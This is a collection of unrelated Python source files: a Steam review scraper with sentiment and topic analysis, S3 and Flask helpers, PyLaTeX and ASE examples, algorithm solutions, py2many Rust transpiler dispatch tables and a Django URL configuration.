        driver.quit()

    return reviews

def translate_review(text):
    translator = Translator()
    return translator.translate(text, dest='en').text

def analyze_sentiment(text):
    analysis = TextBlob(text)
    return analysis.sentiment.polarity

def preprocess_text(text):
    text = text.lower()
    text = text.translate(str.maketrans('', '', string.punctuation))
    return text

def apply_topic_modeling(reviews, num_topics=5):
    processed_reviews = [preprocess_text(review).split() for review in reviews]
    dictionary = corpora.Dictionary(processed_reviews)
    corpus = [dictionary.doc2bow(review) for review in processed_reviews]
    lda_model = models.LdaModel(corpus, num_topics=num_topics, id2word=dictionary, passes=15)
    topics = lda_model.print_topics(num_words=5)
    for topic in topics:
        print(topic)

# 함수를 호출하여 리뷰를 가져옵니다.
url = "https://steamcommunity.com/app/1868140/reviews/?browsefilter=toprated&snr=1_5_100010_"
reviews = get_reviews(url)

# 리뷰의 감정을 분석합니다.
sentiments = [analyze_sentiment(review) for review in reviews]

# 리뷰에 토픽 모델링을 적용합니다.
apply_topic_modeling(reviews)

# 리뷰와 감정 분석 결과를 CSV 파일로 저장합니다.
with open("C:/Users/smyoo/PycharmProjects/pythonProject/reviews.csv", mode='w', newline='', encoding='utf-8') as file:
    writer = csv.writer(file)
    writer.writerow(["Review", "Sentiment"])
    for review, sentiment in zip(reviews, sentiments):
        writer.writerow([review, sentiment])


# -*- coding: utf-8 -*-
"""Module physical
Object and method about the I/O operations
"""

import csv
import os
from .personal_logging import PersonalLogging
from .complete_path import CompletePath

class FinalCSV:

    def __init__(self, new_path, new_filename, newGroupPriority):
        self.filename = new_filename
        self.path = new_path
        self.groupPriority = newGroupPriority
        self.log = PersonalLogging()

    def file(self):
        """
        write the final file
        """
        result = []
        completePath =  CompletePath(self.path, self.filename)
        with open(completePath.path(), 'w', newline='') as csvfile:
            fieldnames = ['Activity', 'Points']
            writer = csv.DictWriter(csvfile, fieldnames = fieldnames)
            writer.writeheader()
            for i in range ( len( self.groupPriority.rows() ) ):
                tmp = self.groupPriority.rows()[i]
                self.log.info ( "FinalCSV", "file","data {0},{1}".format( tmp.activity(),  tmp.points() ) )
                writer.writerow({'Activity': tmp.activity(), 'Points': tmp.points()})
        self.log.info("FinalCSV", "file", "Elaborated file: {0}".format ( completePath.path() ) )


from pylatex import Document, Section, Subsection, Tabular, MultiColumn,\
    MultiRow

doc = Document("multirow")
section = Section('Multirow Test')

test1 = Subsection('MultiColumn')
test2 = Subsection('MultiRow')
test3 = Subsection('MultiColumn and MultiRow')
test4 = Subsection('Vext01')

table1 = Tabular('|c|c|c|c|')
table1.add_hline()
table1.add_row((MultiColumn(4, align='|c|', data='Multicolumn'),))
table1.add_hline()
table1.add_row((1, 2, 3, 4))
table1.add_hline()
table1.add_row((5, 6, 7, 8))
table1.add_hline()
row_cells = ('9', MultiColumn(3, align='|c|', data='Multicolumn not on left'))
table1.add_row(row_cells)
table1.add_hline()

table2 = Tabular('|c|c|c|')
table2.add_hline()
table2.add_row((MultiRow(3, data='Multirow'), 1, 2))
table2.add_hline(2, 3)
table2.add_row(('', 3, 4))
table2.add_hline(2, 3)
table2.add_row(('', 5, 6))
table2.add_hline()
table2.add_row((MultiRow(3, data='Multirow2'), '', ''))
table2.add_empty_row()
table2.add_empty_row()
table2.add_hline()

table3 = Tabular('|c|c|c|')
table3.add_hline()
table3.add_row((MultiColumn(2, align='|c|',
                            data=MultiRow(2, data='multi-col-row')), 'X'))
table3.add_row((MultiColumn(2, align='|c|', data=''), 'X'))
table3.add_hline()
table3.add_row(('X', 'X', 'X'))
table3.add_hline()

table4 = Tabular('|c|c|c|')
table4.add_hline()
col1_cell = MultiRow(4, data='span-4')
col2_cell = MultiRow(2, data='span-2')
table4.add_row((col1_cell, col2_cell, '3a'))
table4.add_hline(start=3)
table4.add_row(('', '', '3b'))
table4.add_hline(start=2)
table4.add_row(('', col2_cell, '3c'))
table4.add_hline(start=3)
table4.add_row(('', '', '3d'))
table4.add_hline()

test1.append(table1)
test2.append(table2)
test3.append(table3)
test4.append(table4)

section.append(test1)
section.append(test2)
section.append(test3)
section.append(test4)

doc.append(section)
doc.generate_pdf(clean_tex=False)

"""
rishikesh agrawani@DESKTOP-8AATOO4 MINGW64 /d/projects/Python/PyLaTex (master)
$ cd 11_multirow_multicolumn_example/

rishikesh agrawani@DESKTOP-8AATOO4 MINGW64 /d/projects/Python/PyLaTex/11_multirow_multicolumn_example (master)
$ ls
multirow_multicolumn_example.py

rishikesh agrawani@DESKTOP-8AATOO4 MINGW64 /d/projects/Python/PyLaTex/11_multirow_multicolumn_example (master)
$ python multirow_multicolumn_example.py

rishikesh agrawani@DESKTOP-8AATOO4 MINGW64 /d/projects/Python/PyLaTex/11_multirow_multicolumn_example (master)
$ ls
multirow.pdf  multirow.tex  multirow_multicolumn_example.py

rishikesh agrawani@DESKTOP-8AATOO4 MINGW64 /d/projects/Python/PyLaTex/11_multirow_multicolumn_example (master)
$

"""


import logging
import boto3
import json
from botocore.exceptions import ClientError
# import requests

def create_bucket(bucket_name, region=None):
    """Create an S3 bucket in a specified region

    If a region is not specified, the bucket is created in the S3 default
    region (us-east-1).

    :param bucket_name: Bucket to create
    :param region: String region to create bucket in, e.g., 'us-west-2'
    :return: True if bucket created, else False
    """

    # Create bucket
    try:
        if region is None:
            s3_client = boto3.client('s3')
            s3_client.create_bucket(Bucket=bucket_name)
        else:
            s3_client = boto3.client('s3', region_name=region)
            location = {'LocationConstraint': region}
            s3_client.create_bucket(Bucket=bucket_name,
                                    CreateBucketConfiguration=location)
    except ClientError as e:
        logging.error(e)
        return False
    return True

# def get_object(bucket_name, key):
#     try:
#         s3_client = boto3.client('s3')
#         result = s3_client.get_object(Bucket=bucket_name, Key=key)
#     except ClientError as e:
#         logging.error(e)
#         return None
#     return resultdef

def get_object(bucket_name, key):
    try:
        s3_client = boto3.client('s3')
        result = s3_client.get_object(Bucket=bucket_name, Key=key)
    except ClientError as e:
        logging.error(e)
        return None
    return result

def put_object(bucket_name, key, value):
    try:
        s3_client = boto3.client('s3')
        s3_client.put_object(Bucket=bucket_name, Key=key, Body=value)
    except ClientError as e:
        logging.error(e)
        return False
    return True

def upload_file(bucket_name, directory, filename, user):
    try:
        s3_client = boto3.client('s3')
        urls3_client.put_object(Bucket=bucket_name, Key=directory, Body=filename, Metadata={user: user})

    except ClientError as e:
        logging.error(e)
        return False
    return True

def list_objects(bucket_name, name):
    try:
        s3_client = boto3.client('s3')
        result = s3_client.list_objects(Bucket=bucket_name, Prefix=name)
        # list = list_objects('au.zt.image-gallery', 'dog')['Contents']
        list = result['Contents']
        endpoint = "https://s3-us-west-1.amazonaws.com/au.zt.image-gallery/"
        images = []
        for i in list:
            images.append(endpoint + i['Key'])
    except ClientError as e:
        logging.error(e)
        return None
    return images

def create_presigned_url(bucket_name, object_name, expiration=3600):
    # Generate a presigned URL for the S3 object
    s3_client = boto3.client('s3')
    try:
        response = s3_client.generate_presigned_url('get_object', Params={'Bucket': bucket_name,
                                                                          'Key': object_name}, ExpiresIn=expiration)
    except ClientError as e:
        logging.error(e)
        return None

    # The response contains the presigned URL
    return response

def get_url(bucket_name, object_name):
    url = create_presigned_url(bucket_name, object_name)
    if url is not None:
        response = requests.get(url)

def main():
    #	create_bucket('au.zt.image-gallery', 'us-west-1')
    put_object('au.zt.image-gallery', 'banana', 'red')
    print(get_object('au.zt.image-gallery', 'dog/IMG_0041.JPG'))
    print(create_presigned_url('au.zt.image-gallery', 'dog/zumfield.jpg'))
    # print(get_url('au.zt.image-gallery', 'IMG_9934.JPG'))
    print(get_object('au.zt.image-gallery', 'dog/zumfield.jpg'))
    # list_objects('au.zt.image-gallery', 'dog')pip
    # for e in list_objects('au.zt.image-gallery', 'dog'):
    #     print(e)

if __name__ == '__main__':
    main()


from flask import Flask, render_template, jsonify
import pickle as pkl

app = Flask(__name__)
xrf_model = pkl.load(open('./data/nyctaxi_xRF.pkl','rb'))
logreg_model = pkl.load(open('./data/nyctaxi_logreg.pkl','rb'))

@app.route('/')
def index():
    """
    Uses Flask's Jinja2 template renderer to generate the html
    """
    return render_template('index.html')

@app.route('/predict/<trip_array>/1')
def predict(trip_array):
	"""
	Output: JSON object where result=alphanumeric character predicted by model
	"""
	trip_array = map(lambda el: float(el), trip_array.split(","))
	predicted_fare = xrf_model.predict(trip_array)[0]
	return jsonify(result=predicted_fare)

@app.route('/predict/<trip_array>/2')
def predict_proba(trip_array):
	"""
	Output: JSON object where result=alphanumeric character predicted by model
	"""
	trip_array = map(lambda el: float(el), trip_array.split(","))
	predicted_shareable = logreg_model.predict_proba(trip_array)[0]
	return jsonify(result=predicted_shareable[1])

if __name__ == '__main__':
    app.run(debug=True)


class Solution:
    def constructMaximumBinaryTree(self, nums: List[int]) -> Optional[TreeNode]:

        def build(i, j):
            if i > j:
                return None

            mx = float('-inf')
            mx_index = None

            for k in range(i, j + 1):
                if nums[k] > mx:
                    mx = nums[k]
                    mx_index = k

            node = TreeNode(mx)

            node.left = build(i, mx_index - 1)
            node.right = build(mx_index + 1, j)

            return node

        return build(0, len(nums) - 1)


from ase_ext.all import *

atoms = Atoms('H7',
              positions=[(0, 0, 0),
                         (1, 0, 0),
                         (0, 1, 0),
                         (1, 1, 0),
                         (0, 2, 0),
                         (1, 2, 0),
                         (0.5, 0.5, 1)],
              constraint=[FixAtoms(list(range(6)))],
              calculator=LennardJones())

traj = PickleTrajectory('H.traj', 'w', atoms)
dyn = QuasiNewton(atoms, maxstep=0.2)
dyn.attach(traj.write)
dyn.run(fmax=0.01, steps=100)

try:
    del atoms[-1]
except RuntimeError:
    pass
else:
    raise RuntimeError


from src import *
import spacy

if __name__ == "__main__":
    corpus = "Hello world! I am a term extractor"
    nlp = spacy.load("en_core_web_sm")

    functions = (basic, combo_basic, cvalues)
    for func in functions:
        nlp.add_pipe(TermExtractionPipeline(nlp, func), func.__name__)
    doc = nlp(corpus)
    for func in functions:
        print(func.__name__, "\n", getattr(doc._, func.__name__), "\n")


from sortedcontainers import SortedDict
class Solution:
    def maxBalancedSubsequenceSum(self, nums: List[int]) -> int:
        n = len(nums)

        arr = [nums[i]-i for i in range(n)]
        subseq = SortedDict()
        res = -inf

        for i in range(n):
            if nums[i] <= 0:
                res = max(res, nums[i])
            else:
                key = arr[i]

                _sum = nums[i]
                j = subseq.bisect_right(key)-1
                if j >= 0:
                    _sum = max(_sum, subseq.peekitem(j)[1]+_sum)

                while j+1 < len(subseq) and subseq.peekitem(j+1)[1] < _sum:
                    subseq.popitem(j+1)

                subseq[key] = _sum
                res = max(res, _sum)
        return res

1-D Dynamic Programming/2926. Maximum Balanced Subsequence Sum/solution.py


import io
import os
import ast
import functools
import math
import time
import random
import sys
import textwrap

from tempfile import NamedTemporaryFile
from typing import Callable, Dict, List, Tuple, Union

try:
    from argparse_dataclass import dataclass as ap_dataclass
    from argparse_dataclass import ArgumentParser
except:
    ArgumentParser = "ArgumentParser"
    ap_dataclass = "ap_dataclass"

from py2many.analysis import get_id

class RustTranspilerPlugins:
    def visit_argparse_dataclass(self, node):
        fields = []
        for (
            declaration,
            typename_with_default,
        ) in node.declarations_with_defaults.items():
            typename, default_value = typename_with_default
            if typename == None:
                return None
            if default_value is not None and typename != "bool":
                default_value = self.visit(default_value)
                default_value = f', default_value = "{default_value}"'
            else:
                default_value = ""
            fields.append(
                f"#[structopt(short, long{default_value})]\npub {declaration}: {typename},"
            )
        fields = "\n".join(fields)
        self._usings.add("structopt::StructOpt")
        clsdef = "\n" + textwrap.dedent(
            f"""\
        #[derive(Debug, StructOpt)]
        #[structopt(name = "{self._module}", about = "Placeholder")]
        struct {node.name} {{
            {fields}
        }}
        """
        )
        return clsdef

    def visit_open(self, node, vargs):
        self._usings.add("std::fs::File")
        if len(vargs) > 1:
            self._usings.add("std::fs::OpenOptions")
            mode = vargs[1]
            opts = "OpenOptions::new()"
            is_binary = "b" in mode
            for c in mode:
                if c == "w":
                    if not is_binary:
                        self._usings.add("pylib::FileWriteString")
                    opts += ".write(true)"
                if c == "r":
                    if not is_binary:
                        self._usings.add("pylib::FileReadString")
                    opts += ".read(true)"
                if c == "a":
                    opts += ".append(true)"
                if c == "+":
                    opts += ".read(true).write(true)"
            node.result_type = True
            return f"{opts}.open({vargs[0]})"
        node.result_type = True
        return f"File::open({vargs[0]})"

    def visit_read(self, node, vargs):
        if len(vargs) == 0:
            return "f.read_string()"
        elif len(vargs) == 1:
            self._usings.add("pylib::FileReadBytes")
            return f"std::str::from_utf8(&f.read_bytes({vargs[0]})?)"
        raise Exception("read() with more than one argument")

    def visit_write(self, node, vargs):
        if len(vargs) == 1:
            return f"f.write_string({vargs[0]})"
        elif len(vargs) == 2:
            # TODO: This should be based on the type of the argument, not len
            self._usings.add("pylib::FileWriteBytes")
            return f"f.write_bytes({vargs[0]})"
        raise Exception("write() with more than one argument")

    def visit_named_temp_file(self, node, vargs):
        node.annotation = ast.Name(id="tempfile._TemporaryFileWrapper")
        node.result_type = True
        return "NamedTempFile::new()"

    def visit_textio_read(self, node, vargs):
        # TODO
        return None

    def visit_textio_write(self, node, vargs):
        # TODO
        return None

    def visit_ap_dataclass(self, cls):
        # Do whatever transformation the decorator does to cls here
        return cls

    def visit_range(self, node, vargs: List[str]) -> str:
        if len(node.args) == 1:
            return "(0..{})".format(vargs[0])
        elif len(node.args) == 2:
            return "({}..{})".format(vargs[0], vargs[1])
        elif len(node.args) == 3:
            return "({}..{}).step_by({})".format(vargs[0], vargs[1], vargs[2])

        raise Exception(
            "encountered range() call with unknown parameters: range({})".format(vargs)
        )

    def visit_print(self, node, vargs: List[str]) -> str:
        placeholders = []
        for n in node.args:
            placeholders.append("{}")
        return 'println!("{0}",{1});'.format(" ".join(placeholders), ", ".join(vargs))

    def visit_exit(self, node, vargs) -> str:
        self._allows.add("unreachable_code")
        return f"std::process::exit({vargs[0]})"

    def visit_min_max(self, node, vargs, is_max: bool) -> str:
        self._usings.add("std::cmp")
        min_max = "max" if is_max else "min"
        self._typename_from_annotation(node.args[0])
        if hasattr(node.args[0], "container_type"):
            node.result_type = True
            return f"{vargs[0]}.iter().{min_max}()"

        annotation = getattr(node.args[0], "annotation", None)
        if annotation and get_id(annotation) == "float":
            self._usings.add("float-ord::FloatOrd")
            vargs = [f"FloatOrd({arg})" for arg in vargs]
            all_vargs = ", ".join(vargs)
            return f"cmp::{min_max}({all_vargs}).0"

        all_vargs = ", ".join(vargs)
        return f"cmp::{min_max}({all_vargs})"

    @staticmethod
    def visit_cast(node, vargs, cast_to: str) -> str:
        if not vargs:
            if cast_to == "i32":
                return "0"
            elif cast_to == "f64":
                return "0.0"
        return f"{vargs[0]} as {cast_to}"

    @staticmethod
    def visit_asyncio_run(node, vargs) -> str:
        return f"block_on({vargs[0]})"

# small one liners are inlined here as lambdas
SMALL_DISPATCH_MAP = {
    "str": lambda n, vargs: f"&{vargs[0]}.to_string()" if vargs else '""',
    "len": lambda n, vargs: f"{vargs[0]}.len() as i32",
    "enumerate": lambda n, vargs: f"{vargs[0]}.iter().enumerate()",
    "sum": lambda n, vargs: f"{vargs[0]}.iter().sum()",
    "int": functools.partial(RustTranspilerPlugins.visit_cast, cast_to="i32"),
    "bool": lambda n, vargs: f"({vargs[0]} != 0)" if vargs else "false",
    "float": functools.partial(RustTranspilerPlugins.visit_cast, cast_to="f64"),
    # as usize below is a hack to pass comb_sort.rs. Need a better solution
    "floor": lambda n, vargs: f"{vargs[0]}.floor() as i32",
    "reversed": lambda n, vargs: f"{vargs[0]}.iter().rev()",
    "map": lambda n, vargs: f"{vargs[1]}.iter().map({vargs[0]})",
    "filter": lambda n, vargs: f"{vargs[1]}.into_iter().filter({vargs[0]})",
    "list": lambda n, vargs: f"{vargs[0]}.collect::<Vec<_>>()",
    "asyncio.run": RustTranspilerPlugins.visit_asyncio_run,
}

SMALL_USINGS_MAP = {
    "asyncio.run": "futures::executor::block_on",
}

DISPATCH_MAP = {
    "max": functools.partial(RustTranspilerPlugins.visit_min_max, is_max=True),
    "min": functools.partial(RustTranspilerPlugins.visit_min_max, is_max=False),
    "range": RustTranspilerPlugins.visit_range,
    "xrange": RustTranspilerPlugins.visit_range,
    "print": RustTranspilerPlugins.visit_print,
}

MODULE_DISPATCH_TABLE = {"tempfile.NamedTemporaryFile": "tempfile::NamedTempFile"}

DECORATOR_DISPATCH_TABLE = {ap_dataclass: RustTranspilerPlugins.visit_ap_dataclass}

CLASS_DISPATCH_TABLE = {ap_dataclass: RustTranspilerPlugins.visit_argparse_dataclass}

ATTR_DISPATCH_TABLE = {
    "temp_file.name": lambda self, node, value, attr: f"{value}.path()",
}

FuncType = Union[Callable, str]

FUNC_DISPATCH_TABLE: Dict[FuncType, Tuple[Callable, bool]] = {
    # Uncomment after upstream uploads a new version
    # ArgumentParser.parse_args: lambda node: "Opts::parse_args()",
    # HACKs: remove all string based dispatch here, once we replace them with type based
    "parse_args": (lambda self, node, vargs: "::from_args()", False),
    "f.read": (RustTranspilerPlugins.visit_read, True),
    "f.write": (RustTranspilerPlugins.visit_write, True),
    "f.close": (lambda self, node, vargs: "drop(f)", False),
    open: (RustTranspilerPlugins.visit_open, True),
    NamedTemporaryFile: (RustTranspilerPlugins.visit_named_temp_file, True),
    io.TextIOWrapper.read: (RustTranspilerPlugins.visit_textio_read, True),
    io.TextIOWrapper.read: (RustTranspilerPlugins.visit_textio_write, True),
    math.pow: (lambda self, node, vargs: f"{vargs[0]}.powf({vargs[1]})", False),
    math.sin: (lambda self, node, vargs: f"{vargs[0]}.sin()", False),
    math.cos: (lambda self, node, vargs: f"{vargs[0]}.cos()", False),
    math.tan: (lambda self, node, vargs: f"{vargs[0]}.tan()", False),
    math.asin: (lambda self, node, vargs: f"{vargs[0]}.asin()", False),
    math.acos: (lambda self, node, vargs: f"{vargs[0]}.acos()", False),
    math.atan: (lambda self, node, vargs: f"{vargs[0]}.atan()", False),
    time.time: (lambda self, node, vargs: "pylib::time()", False),
    random.seed: (
        lambda self, node, vargs: f"pylib::random::reseed_from_f64({vargs[0]})",
        False,
    ),
    random.random: (lambda self, node, vargs: "pylib::random::random()", False),
    os.unlink: (lambda self, node, vargs: f"std::fs::remove_file({vargs[0]})", True),
    sys.exit: (RustTranspilerPlugins.visit_exit, True),
}

FUNC_USINGS_MAP = {
    time.time: "pylib",
    random.seed: "pylib",
    random.random: "pylib",
}


"""myapp URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.conf.urls import url
from django.contrib import admin
from dashboard import views
from django.urls import path
"""
urlpatterns = [
    url('post/',views.post_view),
    url('feed/',views.feed_view),
    url('',views.signup_view),
    url('login/',views.login_view),
    url('',views.home_view,name='home')
]
"""

urlpatterns = [
    url(r'^signup/$',views.signup_view,name='signup'),
    url(r'^feed/$',views.feed_view,name='feed'),
    url(r'^$',views.home_view,name='home'),
    url(r'^login/$',views.login_view,name='login'),
    url(r'^like/$', views.like_view, name='like'),
    url(r'^comment/$',views.comment_view,name='comment'),
    url(r'^post/$', views.post_view, name='post'),
    url(r'^logout/$', views.logout_view, name='logout'),
    url(r'^admin/', admin.site.urls),
]

"""if settings.DEBUG:
    urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)"""